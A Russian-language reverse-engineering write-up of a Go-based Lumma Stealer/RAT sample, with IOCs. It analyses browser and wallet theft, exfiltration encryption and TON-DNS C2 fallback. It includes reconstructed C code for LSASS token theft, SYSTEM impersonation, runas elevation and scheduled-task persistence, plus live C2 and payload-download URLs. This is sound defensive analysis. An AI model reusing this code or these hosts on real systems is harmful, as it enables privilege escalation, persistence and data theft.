MalwareBazaar Sample
Lumma Stealer/RAT - Go rewrite с TON DNS C2 и RAT-расширениями
Malware Bazaar : 817def15279e2f314118f5d0be272b5b18ebf20b6f140f4384cf6a2b064aaff7
Интереснее разбирать неизвестные семплы, но сегодня я решил начать разбирать последние билды популярных семейств, взял июльский lumma stealer/salat stealer.
Lumma Stealer, переписанный на Go (1.18-1.24). UPX-packed loader
(3.43 МБ)
Go binary (11.99 МБ, PE32, i386). Бинарник не стрипнут -
.symtab сохранена, pclntab содержит полные
имена функций. Основная функция main_Steal собирает данные
из ≈120 браузеров и кошельков, упаковывает в zip, шифрует многослойной
схемой (AES-GCM + XOR + rolling XOR) и отправляет на C2 по raw TCP.
Backup C2 хранятся в TON blockchain, резолвятся через
tonapi.io и ton.access.orbs.network.
Дополнительно скачивает RDP-тулкит и ffmpeg с GitLab.
1 | Предварительный анализ
1.1 | Loader
DiE на оригинальном файле:
3.43 МБ, UPX-packed. upx -d
распакованный Go binary.
1.2 | Распакованный бинарь
DiE:
1.3 | Секции и энтропия
PEbear:
Наличие .symtab критически важно: после AlphaGolang все
функции получат имена и можно будет адекватно читать декомпил.
2 | Go runtime и навигация
2.1 | Дохуя функций
Go бинарник содержит ≈28000 функций. AlphaGolang (скрипты 1-4)
переименовывает их все по pclntab и раскладывает по папкам. После этого
в Shift+F3: runtime/* - тысячи функций GC, scheduler,
memory allocator ; internal/*, syscall/* -
обертки над WinAPI ; main/* - пользовательский код (≈30
функций)
2.2 | Entry point: rt0_go
IDA показывает start_0 - это
runtime.rt0_go, bootstrap горутины #0. Код:
- CPUID-детектор: проверка ID flag в EFLAGS (поддержка
cpuid), vendor string"GenuineIntel"(EBX:EDX:ECX =0x756E6547:0x49656E69:0x6C65746E), feature bit 23 (MMX). Без MMX exit с сообщением - TLS-инициализация:
__readfsdword(dword_FE3458)- Go хранит указатель на текущую goroutinegв TLS-слоте (на стек горутины, т.к стек инициализируется в го самостоятельно) - Стек
g0: записывает границы стека в структуруg0(stack.lo,stack.hi,stackguard0,stackguard1) - Цепочка инициализации:
schedinit()args()newproc(runtime.main)mstart()
newproc создает горутину для runtime.main,
которая внутри вызывает main.main.
2.3 | main.main
void __cdecl main_main()
{
// ... stack check prologue ; в каждой go функции
sub_443E30(); // runtime init: DuplicateHandle, GetCurrentThreadId,
// CreateWaitableTimerExW, VirtualQuery - все runtime
sub_443F30(1); // runtime exit: thread cleanup понятно по "exitThread", "locked m0 woke up"
}
//обе функции рантаймИнтересующий нас код запускается через runtime.newproc
как горутины (интересно, что в горутинах отдельно происходят
LdrLoadDll, т.е можно увидеть как условная
kernel32.dll загружается трижды, по одной в горутину). В
списке символов: main.main.func1..func8,
main.main.gowrap1..gowrap3 - 8 анонимных
функций/замыканий, 3 из которых запускаются через go
keyword (было понятно и ДО применения AlphaGolang скриптов, но без них
невозможно было посмотреть декомпил из-за того, что ида плохо
справляется с го бинарниками).
2.4 | Паттерн stack check
В начале каждой Go-функции:
if ( (unsigned int)&retaddr <= *(_DWORD *)(*(_DWORD *)__readfsdword(dword_FE3458) + 8) )
runtime_morestack_noctxt();Проверка: если текущий ESP ниже stackguard0 - вызвать
morestack для расширения стека. Никак не решает в разборе,
просто интересный факт, как и весь второй раздел, по сути.
3 | Конфигурация стилера
Четыре функции main_map_init_0..3 инициализируют
глобальные словари (Go map[string]string):
3.1 | map_init_0 - крипто-кошельки (11 записей)
"Zcash" => "Zcash"
"Exodus" => "Exodus\\exodus.wallet"
"Ethereum" => "Ethereum\\keystore"
"Electrum" => "Electrum\\wallets"
"AtomicWallet" => "atomic\\Local Storage\\leveldb"
"Guarda" => "Guarda\\Local Storage\\leveldb"
...
Ключ - имя кошелька, значение - относительный путь в
%APPDATA%:
3.2 | map_init_1 - browser extensions (62 записи)
Загружается из статического массива off_C94ED8. 62
элемента - extension ID для MetaMask, Phantom, Keplr и прочих
крипторасширений Chromium:
3.3 | map_init_2 - Gecko-браузеры (10 записей)
"Waterfox" => "Roaming\\Waterfox\\Profiles"
"K-Meleon" => "Roaming\\K-Meleon\\Profiles"
"Thunderbird" => "Roaming\\Thunderbird\\Profiles"
"Pale Moon" => "Roaming\\Moonchild Productions\\Pale Moon\\Profiles"
"BlackHaw" => "Roaming\\NETGATE Technologies\\BlackHaw\\Profiles"
"Mercury" => "Roaming\\mercury\\Profiles"
и т.д
3.4 | map_init_3 - Chromium-браузеры (37 записей)
Из массива off_C942D0. Chrome, Edge, Brave, Opera,
Vivaldi, Yandex Browser и другие - пути к User Data:
4 | main_Steal - кор функционал стилера
Функция main_Steal - монолит на ≈600 переменных.
Принимает cfg_flags (конфигурационные флаги), создает
zip-архив в памяти и последовательно заполняет его.
4.1 | Сбор системной информации
UserInformation.txt => zip
Содержимое: timestamp (2006-01-02 15:04:05), разрешение
экранов (до 10 мониторов), CPU count, isAdmin, hostname, username, OS
version, GPU, RAM, AV product, installed apps, display info. Глобальные
переменные dword_FC24xx заполняются при инициализации.
4.2 | Скриншоты
for (i = 0; i < 5; i++) {
screen = main_getScreen(i);
// => "Monitor N.jpg" в zip
}4.3 | Telegram
Три метода поиска tdata:
- %APPDATA%:
Telegram Desktop\tdata - UWP: сканирует
Local\Packages, ищет директории содержащие"TelegramDesktop", формирует путьLocalCache\Roaming\Telegram Desktop UWP\tdata - Реестр:
SOFTWARE\Classes\tg\shell\open\commandпарсит путь к Telegram.exe dirnametdata - Процессы:
main_processes()ищет запущенные процессы, совпадающие сoff_FAFE68(список имен), получает путь черезmain_GetProcessPathtdata
Для каждого найденного tdata архивируются подпапки по
списку g_tdata_subfolders (off_FAFE78).
4.4 | Discord и Steam (lol)
main_getDiscord() => "Clients\\DiscordTokens.txt"
main_getSteams() => "Clients\\SteamTokens.txt"4.5 | Крипто-кошельки
Итерация по g_wallet_map (dword_FC1AD0).
Для каждого кошелька проверяется %APPDATA%\<path>.
Специальная обработка для кошельков с именем "Ethereum"
(0x6F72654D + 0x6E696165 - little-endian
check): сканирует содержимое директории, ищет файлы
password и wallet (case-insensitive через
strings.ToLower).
4.6 | Chromium-браузеры
Для каждого браузера из g_chromium_browser_map:
path_filepath_join(browser_path, "Login Data")проверка существованияpath_filepath_join(browser_path, "Local State")main_GetChromiumMasterKeys(AES-GCM key из DPAPI)main_getChrome(path, keys, ...)возвращает cookies, logins, tokens, autofill
Browsers/Cookies_<name>R.txt
Browsers/Logins_<name>R.txt
Browsers/Token_<name>R.txt
Browsers/Autofills_<name>R.txt
Для каждого профиля внутри браузера (обход подпапок, поиск
"Default" по dword 0x20666544 +
0x746C7561) - отдельный набор файлов с постфиксом
_<profile>.txt.
4.7 | Browser extensions
Для каждого профиля: Local Extension Settings
сканирует подпапки
сопоставляет с g_extension_map (62 extension ID).
4.8 | Gecko-браузеры
Аналогично Chromium, но через main_GetGeckoMasterKey и
main_getGecko. Файлы:
Browsers/Cookies_<name>_<profile>.txt
Browsers/Logins_<name>_<profile>.txt
4.9 | Эксфильтрация
b64_data = base64_encode(zip_buffer);
json = {
"hwid": off_FBCC08, // hardware ID
"username": dword_FC2420, // username
"s": "0" или "1", // is_repeat flag
"data": b64_data // base64(zip), лимит 100mb
};
encrypted = main_dec(json, 5); // mode 5: XOR key => rolling XOR
response = main_rq(encrypted); // отправка на C2
if (response != "1") {
main_changeEndpoint(0, 1); // ротация C2
time_Sleep(705032704, 1); // 0.7 сек
// retry loop
}5 | Шифрование - main_dec
Рекурсивная функция с параметром mode:
5.1 | Mode 0 - инициализация ключей
// логика формирования ключа
for (k = 0; k < xor_key_len; k++)
xor_key[k] ^= username[k % username_len];
// RSA модуль из 128-элементной таблицы
for (i = 0; i < 128; i++) {
value = (4 * i) ^ ROL4(table[i+1], -4*i);
result[i] = bswap32(value ^ 0x9E3779B9); // golden ratio?
}
// => math/big.Int, сохраняется в g_rsa_modulusКонстанта 0x9E3779B9 - маркер TEA/XTEA семейства
шифров.
5.2 | Mode 1 - AES-GCM
cipher = crypto_aes_NewCipher(g_aes_key);
gcm = crypto_cipher_NewGCM(cipher);
// стандартная Go-криптография5.3 | Mode 2 - Rolling XOR
for (j = 1; j < data_len; j++)
buf[j] ^= buf[j-1];5.4 | Mode 3 - XOR с ключом
for (i = 0; i < data_len; i++)
buf[i] ^= xor_key[i % xor_key_len];5.5 | Mode 4 - цепочка decrypt
dec(data, 2); // rolling XOR
dec(result, 3); // XOR с ключом5.6 | Mode 5 - цепочка encrypt (используется в main_Steal)
dec(data, 3); // XOR с ключом
dec(result, 2); // rolling XOR5.7 | Получение ключей
Ключи не захардкожены. В main_main:
// AES key
seed = aTrue[104]; // 4 байта из .rdata
hash = main_md5str(seed, 4);
aes_key = dec(hash, 2); // rolling XOR
// XOR key (зависит от AES key)
xor_key = dec(encrypted_blob, 1); // AES-GCM decryptЦепочка зависимостей: seed MD5 rolling XOR AES key AES-GCM decrypt XOR key. В статике воспроизвести можно, но проще в динамике.
6 | C2-инфраструктура
6.1 | main_c2Server - raw TCP
time_Sleep(delay * 1000000000);
conn = net_Dial("tcp", addr);
// отправка данных с префиксным байтом (тип команды)Не HTTP - прямое TCP-соединение через Go net.Dial.
6.2 | main_changeEndpoint - ротация
Три уровня fallback через g_fallback_state (0
1
2):
| State | Действие | Каналы |
|---|---|---|
| 0 | main_getBC(1)
main_getBC(3) |
HTTP + TON |
| 1 | main_getBC(1)
main_getBC(3) (повтор) |
HTTP + TON |
| 2 | main_getBC(2)
main_getBC(4) |
другие ключи |
Максимум 5 рекурсивных попыток (retry_depth), потом
time_Sleep(~60 сек) и сброс
6.3 | main_getBC - RSA + TON DNS
Четыре канала, каждый с отдельным зашитым 129-dword RSA ciphertext:
| Канал | Ciphertext | Метод |
|---|---|---|
| 1 | unk_C962D8 | RSA decrypt
AES-GCM
hex
HTTP GET
JSON
decodeFromTonAddress |
| 2 | unk_C964DC | RSA decrypt
AES-GCM
hex
HTTP GET
JSON
decodeFromTonAddress |
| 3 | unk_C966E0 | RSA decrypt
AES-GCM
hex
TON DNS resolve (tryTonResolve) |
| 4 | unk_C968E4 | RSA decrypt
AES-GCM
hex
TON DNS resolve (tryTonResolve) |
RSA: math/big.Int.Exp(ciphertext, 65537, g_rsa_modulus).
Exponent 65537 - как я понял, стандартный RSA public key. Странно, что
RSA вообще кто-то использует когда есть ed25519.
После расшифровки каждый адрес дополняется endpoint-ом
https://{domain}/sa1at/
Каналы 1-2 получают URL paste-сервисов, делают HTTP GET, парсят JSON ответ. Каналы 3-4 резолвят TON-домены через API.
7 | RAT-функционал
Помимо стилера, бинарь содержит полноценный backdoor/RAT. Это не
дополнительный модуль - весь код в main.*.
7.1 | Privilege Escalation
Три метода повышения привилегий:
RtlAdjustPrivilege
(main_enablePrivilege):
// NTSTATUS ntdll!RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, CurrentThread=FALSE, &prev)
unsigned __int64 main_enablePrivilege()
{
prev_state = runtime_newobject(sizeof(BOOLEAN)); // выходной параметр
args = runtime_newobject(4 * sizeof(DWORD));
args[0] = 20; // SE_DEBUG_PRIVILEGE
args[1] = 1; // Enable = TRUE
args[2] = 0; // CurrentThread = FALSE (весь процесс)
args[3] = prev_state; // &PreviousState
ntstatus = syscall_LazyProc_Call(
off_FAE3F0, // "RtlAdjustPrivilege" из ntdll
args, 4, 4
);
if (!ntstatus)
return 0; // success
return fmt_Errorf("RtlAdjustPrivilege failed with status: %x", ntstatus);
}//не пользуемся advapi
NTSTATUS enablePrivilege(void)
{
BOOLEAN prev_state;
NTSTATUS status = RtlAdjustPrivilege(
20, // SE_DEBUG_PRIVILEGE
TRUE, // Enable
FALSE, // CurrentThread = FALSE => весь процесс
&prev_state
);
return status;
}LSASS token theft
(main_getSystemToken):
Go-ish :
// Открывает LSASS => dup его токен => SYSTEM token
__int128 main_getSystemToken()
{
err = main_enablePrivilege(); // SE_DEBUG_PRIVILEGE
if (err) return error("failed to enable privileges: %v", err);
lsass_handle = main_findLsassProcess(); // ищет lsass.exe по имени
if (err) return error("failed to find LSASS process: %v", err);
// defer: CloseHandle(lsass_handle)
token = 0;
err = OpenProcessToken(
lsass_handle,
TOKEN_READ | TOKEN_DUPLICATE, // 0x0A = TOKEN_DUPLICATE(0x02) | TOKEN_QUERY(0x08)
&token
);
if (err) return error("OpenProcessToken failed: %v", err);
dup_token = 0;
err = DuplicateTokenEx(
token,
TOKEN_ALL_ACCESS, // 0x000F01FF = 983551
NULL, // lpTokenAttributes
SecurityImpersonation, // 2
TokenPrimary, // 1
&dup_token
);
CloseHandle(token);
if (err) return error("DuplicateTokenEx failed: %v", err);
return dup_token; // SYSTEM
}C :
HANDLE getSystemToken(void)
{
NTSTATUS status = enablePrivilege();
if (status != 0)
return INVALID_HANDLE_VALUE;
// по имени
DWORD lsass_pid = findLsassProcess();
if (lsass_pid == 0)
return INVALID_HANDLE_VALUE;
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, lsass_pid);
HANDLE token;
BOOL ok = OpenProcessToken(
process,
TOKEN_READ | TOKEN_DUPLICATE, // 0x0A
&token
);
if (!ok) {
CloseHandle(process);
return INVALID_HANDLE_VALUE;
}
HANDLE dup_token;
ok = DuplicateTokenEx(
token,
MAXIMUM_ALLOWED, // 0x000F01FF
NULL, // default security
SecurityImpersonation, // impersonation level = 2
TokenPrimary, // token type = 1
&dup_token
);
CloseHandle(token);
CloseHandle(process);
if (!ok)
return INVALID_HANDLE_VALUE;
return dup_token;
}UAC bypass (main_Elevate):
ShellExecute(0, L"runas", exe_path, args, cwd, SW_HIDE);// перезапуск себя через ShellExecute "runas"
// kill_self : если true => убить текущий процесс перед перезапуском
int Elevate(BOOL kill_self)
{
if (isAdmin())
return 0;
char exe_path[MAX_PATH];
GetModuleFileName(NULL, exe_path, MAX_PATH);
char cwd[MAX_PATH];
GetCurrentDirectory(MAX_PATH, cwd);
// os.Args[1:], склеиваем через пробел
char *args = joinArgs(g_os_args + 1, g_os_args_count - 1, " ");
WCHAR *verb_w = UTF16FromString("runas");
WCHAR *file_w = UTF16FromString(exe_path);
WCHAR *dir_w = UTF16FromString(cwd);
WCHAR *args_w = UTF16FromString(args);
if (kill_self) {
TerminateProcess(g_saved_process_handle, 0);
}
HINSTANCE result = ShellExecuteW(
NULL, // hwnd
verb_w, // "runas"
file_w, // exe path
args_w, // аргументы
dir_w,
SW_HIDE // 0 без окна
);
if ((int)result <= 32) {
// в си это просто функция-обработчик ошибок, на го это горутина-обработчик
return (int)result;
}
if (kill_self) {
char mutex_name[256];
sprintf(mutex_name, "_mutex_%s", g_bot_id);
HANDLE mutex = CreateMutexA(NULL, FALSE, mutex_name);
if (mutex)
g_saved_process_handle = mutex;
}
return 0;
}С mutex-механизмом через gow32.CreateMutex для
предотвращения множественных запусков. Если a1 (флаг)
установлен - дополнительно вызывает TerminateProcess на
текущий PID перед перезапуском.
7.2 | Token Impersonation
main_impersonateSystem:
// Получает SYSTEM token и имперсонирует текущий тред
__int128 main_impersonateSystem()
{
system_token = main_getSystemToken();
if (err)
return err;
// advapi32!ImpersonateLoggedOnUser(system_token)
ok = syscall_LazyProc_Call(
off_FAE3E4, // "ImpersonateLoggedOnUser"
{system_token}, 1, 1
);
if (ok)
return system_token; // thread has SYSTEM
CloseHandle(system_token);
return error("ImpersonateLoggedOnUser failed: %v", err);
}HANDLE impersonateSystem(void)
{
HANDLE system_token = getSystemToken();
if (system_token == INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
BOOL ok = ImpersonateLoggedOnUser(system_token);
if (!ok) {
CloseHandle(system_token);
return INVALID_HANDLE_VALUE;
}
return system_token; // thread has system
}main_DuplicateUserTokenFromSessionID:
// получаем токен залогиненного юзера по Session ID (для RDP/console sessions)
__int128 main_DuplicateUserTokenFromSessionID(int session_id)
{
user_token = runtime_newobject(sizeof(HANDLE)); // out
dup_token = runtime_newobject(sizeof(HANDLE)); // out
token_ptr = user_token;
// wtsapi32!WTSQueryUserToken(session_id, &user_token)
args = runtime_newobject(2 * sizeof(DWORD));
args[0] = session_id;
args[1] = token_ptr;
ok = syscall_LazyProc_Call(off_FAE348, args, 2, 2);
if (!ok)
return error("call native WTSQueryUserToken: %s", err);
// advapi32!DuplicateTokenEx
args2 = runtime_newobject(6 * sizeof(DWORD));
args2[0] = *user_token;
args2[1] = TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY; // 25 = 0x19
args2[2] = 0; // lpTokenAttributes = NULL
args2[3] = 1; // SECURITY_IMPERSONATION_LEVEL = SecurityIdentification? (or maybe index)
args2[4] = 1; // TOKEN_TYPE = TokenPrimary
args2[5] = dup_token; // &phNewToken
ok = syscall_LazyProc_Call(off_FAE34C, args2, 6, 6);
if (!ok)
return error("call native DuplicateTokenEx: %s", err);
err = CloseHandle(*user_token);
if (err)
return error("close windows handle used for token duplication: %s", err);
return *dup_token;
}HANDLE DuplicateUserTokenFromSessionID(DWORD session_id)
{
HANDLE user_token;
BOOL ok = WTSQueryUserToken(session_id, &user_token);
if (!ok)
return INVALID_HANDLE_VALUE;
HANDLE dup_token;
ok = DuplicateTokenEx(
user_token,
TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
NULL, // default security
SecurityImpersonation,
TokenPrimary,
&dup_token
);
if (!ok) {
CloseHandle(user_token);
return INVALID_HANDLE_VALUE;
}
BOOL close_ok = CloseHandle(user_token);
if (!close_ok)
return INVALID_HANDLE_VALUE; "
return dup_token;
}Это дает возможность запускать процессы от имени SYSTEM / любого залогиненного пользователя.
7.3 | Persistence - Scheduled Tasks
main_newTask использует Go-библиотеку
github.com/capnspacehook/taskmaster:
taskmaster_ConnectWithOptions(...);
taskmaster_TaskService_NewTaskDefinition(...);
// taskmaster (go lib) == COM обёртка над ITaskService
// Trigger: каждые 30 дней, повторение каждые 3 минуты
date_period_New(0, 0, 30, 0, 0, 0); // 30 days
date_period_New(0, 0, 0, 0, 3, 0); // 3 minutes repetition
taskmaster_TaskService_CreateTask(...);// Windows Task Scheduler
void newTask(const char *exe_path, const char *task_name)
{
TaskService *ts = taskmaster_Connect();
if (!ts) return;
TaskDefinition *td = ts->NewTaskDefinition();
char working_dir[MAX_PATH];
dirname(exe_path, working_dir);
ExecAction action = {
.Path = exe_path,
.WorkingDirectory = working_dir,
};
td->Actions.Add(&action);
CalendarTrigger trigger1 = {
.Enabled = TRUE,
.StartBoundary = time_Now(),
.EndBoundary = time_Now() + days(30),
.Repetition = {
.Interval = minutes(3),
.Duration = days(30),
},
};
LogonTrigger trigger2 = {
.Enabled = TRUE,
.Repetition = {
.Interval = minutes(3),
.Duration = days(30),
},
};
td->Triggers.Add(&trigger1);
td->Triggers.Add(&trigger2);
// первый раз пробуем от SYSTEM (TASK_LOGON_SERVICE_ACCOUNT = 3)
char full_name[256];
sprintf(full_name, "\\%s", task_name);
BOOL created = ts->CreateTask(full_name, td, TASK_LOGON_SERVICE_ACCOUNT);
if (!created) {
// либо от пользователя
char *username = os_user_Current();
td->Principal.UserId = username;
td->Principal.LogonType = TASK_LOGON_INTERACTIVE_TOKEN; // 0
ts->CreateTask(full_name, td, TASK_LOGON_INTERACTIVE_TOKEN);
}
ts->Release();
}7.4 | SOCKS5 Proxy
main_proxy - TCP relay:
conn1 = net_Dial("tcp", c2_addr);
// читает 1 байт (длину), потом N байт (таргет)
conn2 = net_Dial("tcp", target_addr);
go main_copyConn(conn1, conn2); // горутина: связь relay C2 и target
main_copyConn(conn2, conn1); // связь между relay target и C2Первый байт отправляемых данных = 0x01 (тип команды).
Малварь может работать как SOCKS5 прокси для оператора -
main__socks5Conn_Serve
handshake
processRequest.
7.5 | Anti-Duplication
main_checkDupe - проверка на дублирование бинаря:
- Собирает пути:
$ProgramW6432,$programfiles,$programfiles(x86),$localappdata+ вариант сProgram Files/Program Files (x86) - Проверяет, лежит ли файл в одном из этих путей (case insensitive)
- Проверяет размер файла (
os.Stat) - Считает md5 файла и сравнивает с ожидаемым хешем
MD5 init values видны явно:
*v13 = 0x67452301; // A
v13[1] = 0xEFCDAB89; // B
v13[2] = 0x98BADCFE; // C
v13[3] = 0x10325476; // DЕсли хеш не совпадает - файл подменен или это другая копия.
8 | Динамический анализ
8.1 | Инструменты
FakeNet-NG, x64dbg + ScyllaHide
8.2 | Go и Winsock
Go не использует WinINet (InternetOpenW,
HttpSendRequestA). Весь networking через Winsock:
ws2_32.WSASocketW
ws2_32.connect / mswsock.ConnectEx. DNS через
DoH: dns.google, cloudflare-dns.com.
8.3 | x64dbg - проблемы
- Exceptions: Go runtime использует exceptions для stack growth. x64dbg останавливается на каждом; Shift+F9 (pass to application) или Options Preferences Exceptions Ignore
- ScyllaHide: даже с включенным ScyllaHide - first
chance exception на
0x5a8a50, после чего дебаггинг невозможен - WinDbg: дамп через Process Hacker
анализ через WinDbg. Команда
s -a 0 L?80000000 "sa1at"для поиска строк
8.4 | Результаты pcap
Хронология:
[ 0s] DNS: www.msftconnecttest.com - проверка наличия интернета
[ 22s] DNS: cloudflare-dns.com - DoH резолвер
[ 85s] DNS: sa1atik.cn $\Rightarrow$ 192.0.2.123 - primary C2
[ 85s] TCP: 192.0.2.123:443 - попытка подключения (SYN, no SYN-ACK)
[109s] DNS: sa1atik.cn (retry) - повторная попытка
[134s] DNS: tonapi.io - fallback: TON API (канал 1)
[134s] TCP: 192.0.2.123:443 - попытка подключения к tonapi.io
[155s] DNS: ton.access.orbs.network - fallback: TON Access (каналы 3-4)
[155s+] множественные retries ton.access.orbs.network
Все TCP-соединения - SYN без SYN-ACK (FakeNet не отвечал на TCP). HTTP-тела запросов отсутствуют. Можно было настроить ответы… наверное.
9 | IOCs
9.1 | C2
https://sa1atik.cn/sa1at/ # primary C2
9.2 | TON DNS
remoteadministratortool.ton # TON-домен с backup C2-адресами
9.3 | TON API endpoints
https://tonapi.io/v2/dns/remoteadministratortool.ton/resolve
https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/runGetMethod
9.4 | DoH резолверы
https://dns.google/resolve?name=<domain>&type=A
https://cloudflare-dns.com/dns-query?name=<domain>&type=A
9.5 | GitLab - загрузка дополнительных инструментов
https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe //для незаметной эксфильтрации данные пакуются и отправляются архивами
https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll
https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe // запись экрана/аудио
https://gitlab.com/webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll // RDP-библиотека
https://gitlab.com/webrat1/importantfiles/-/raw/main/MSTSCLib.dll // RDP-библиотека
9.6 | Проверка геолокации
kremlin.ru # проверка на ру регион, семпл = zapret.exe => актуален только в России
9.7 | Сетевая проверка
www.msftconnecttest.com # connectivity
dns.msftncsi.com
9.8 | Endpoint pattern
/sa1at/
9.9 | Hashes
SHA256 packed : 817def15279e2f314118f5d0be272b5b18ebf20b6f140f4384cf6a2b064aaff7
SHA256 unpacked : todo
9.10 | Стилер-конфигурация
- 11 крипто-кошельков (Zcash, Exodus, Ethereum, Electrum, Atomic, Guarda, Jaxx, …)
- 62 browser extension ID
- 37 Chromium-based браузеров
- 10 Gecko-based браузеров (Waterfox, K-Meleon, Thunderbird, Pale Moon, …)
10 | Ошибки
10.1 | Go runtime
Первые часы ушли на разбор start_0
sub_443E30
sub_43B2A0. Увидев DuplicateHandle,
GetCurrentThreadId, CreateWaitableTimerExW,
VirtualQuery - принял за малварный код. Все оказалось
runtime_init потоков. Разделение runtime/malware:
DuplicateHandle - это runtime.minit, а не
injection. Детект: строки "exitThread",
"m not found in allm", "locked m0 woke up"
schduler.
10.2 | fs:[offset] != PEB
__readfsdword(dword_FE3458) - принял за обращение к PEB
(fs:[0x30]). При более детальном анализе
main_main стало понятно, что это на самом деле go TLS-слот:
dword_FE3458 содержит offset, записанный в
rt0_go при инициализации. Через него Go получает указатель
на текущую goroutine g. Подсказка: PEB читается по
фиксированному offset fs:[0x30], а здесь offset -
переменная.
10.3 | Горутины, main_main
main_main содержит только runtime-вызовы.
Пользовательский код запускается через runtime.newproc
(goroutines)
10.4 | Статика в извлечении ключей
Попытка вытащить AES/XOR ключи из IDA через
idc.get_wide_dword(0xFAFE28) - оба указателя содержат
одинаковое значение (16091616), длины = 0. Причина: это Go slice
headers, заполняемые в runtime. Ключи деривируются цепочкой: seed
MD5
rolling XOR
AES
XOR key. Проще извлечь в динамике через дамп памяти.
10.5 | FakeNet-NG и TCP
FakeNet работал, но не перехватывал TCP-соединения (SYN без SYN-ACK в
pcap). Из-за этого HTTP-тела запросов к tonapi.io и
ton.access.orbs.network отсутствуют. Для полного перехвата
нужно настроить FakeNet в режиме, который отвечает на TCP.
11 | Итог
Семпл позиционируется как Lumma Stealer, но фактически это полноценный RAT с функционалом стилера (там более 100 функций в main классе, я перечислил далеко не все детали, хотя скорее всего все самое важное).
Функционал : LSASS token theft + ImpersonateLoggedOnUser
для SYSTEM-привилегий, RtlAdjustPrivilege для
SE_DEBUG_PRIVILEGE, UAC bypass через ShellExecute("runas"),
persistence через scheduled tasks (30 дней, повтор каждые 3 минуты),
SOCKS5 proxy для оператора, anti-duplication через MD5-верификацию
бинаря. GitLab-репо webrat1/importantfiles содержит
RDP-библиотеки (AxMSTSCLib.dll, MSTSCLib.dll)
и ffmpeg.exe - дополнительный RAT-тулкит, 7zip.
Go-библиотеки, использованные автором:
github.com/capnspacehook/taskmaster- Windows Task Scheduler APIgithub.com/rickb777/date/period- date/time периоды для triggersgithub.com/rodolfoag/gow32- Win32 API обертки (CreateMutex)golang.org/x/sys/windows- расширенный Windows APIgolang.org/x/sys/windows/registry- работа с реестром
TON-домен remoteadministratortool.ton, C2 использует TON
blockchain DNS для хранения доп. адресов, что позволяет им оставаться на
плаву сколько угодно, все по книжкам RedSecOps.
Шифрование многослойное (AES-GCM + XOR + rolling XOR + RSA), но не
усложненное - все алгоритмы стандартные. Единственная нестандартная
часть - деривация ключей через TEA-подобную таблицу с
0x9E3779B9.
Много функционала осталась неразобранной -
main.main.func1..func8 содержат дополнительную логику,
которая может включать еще больше RAT-возможностей, но идея понятна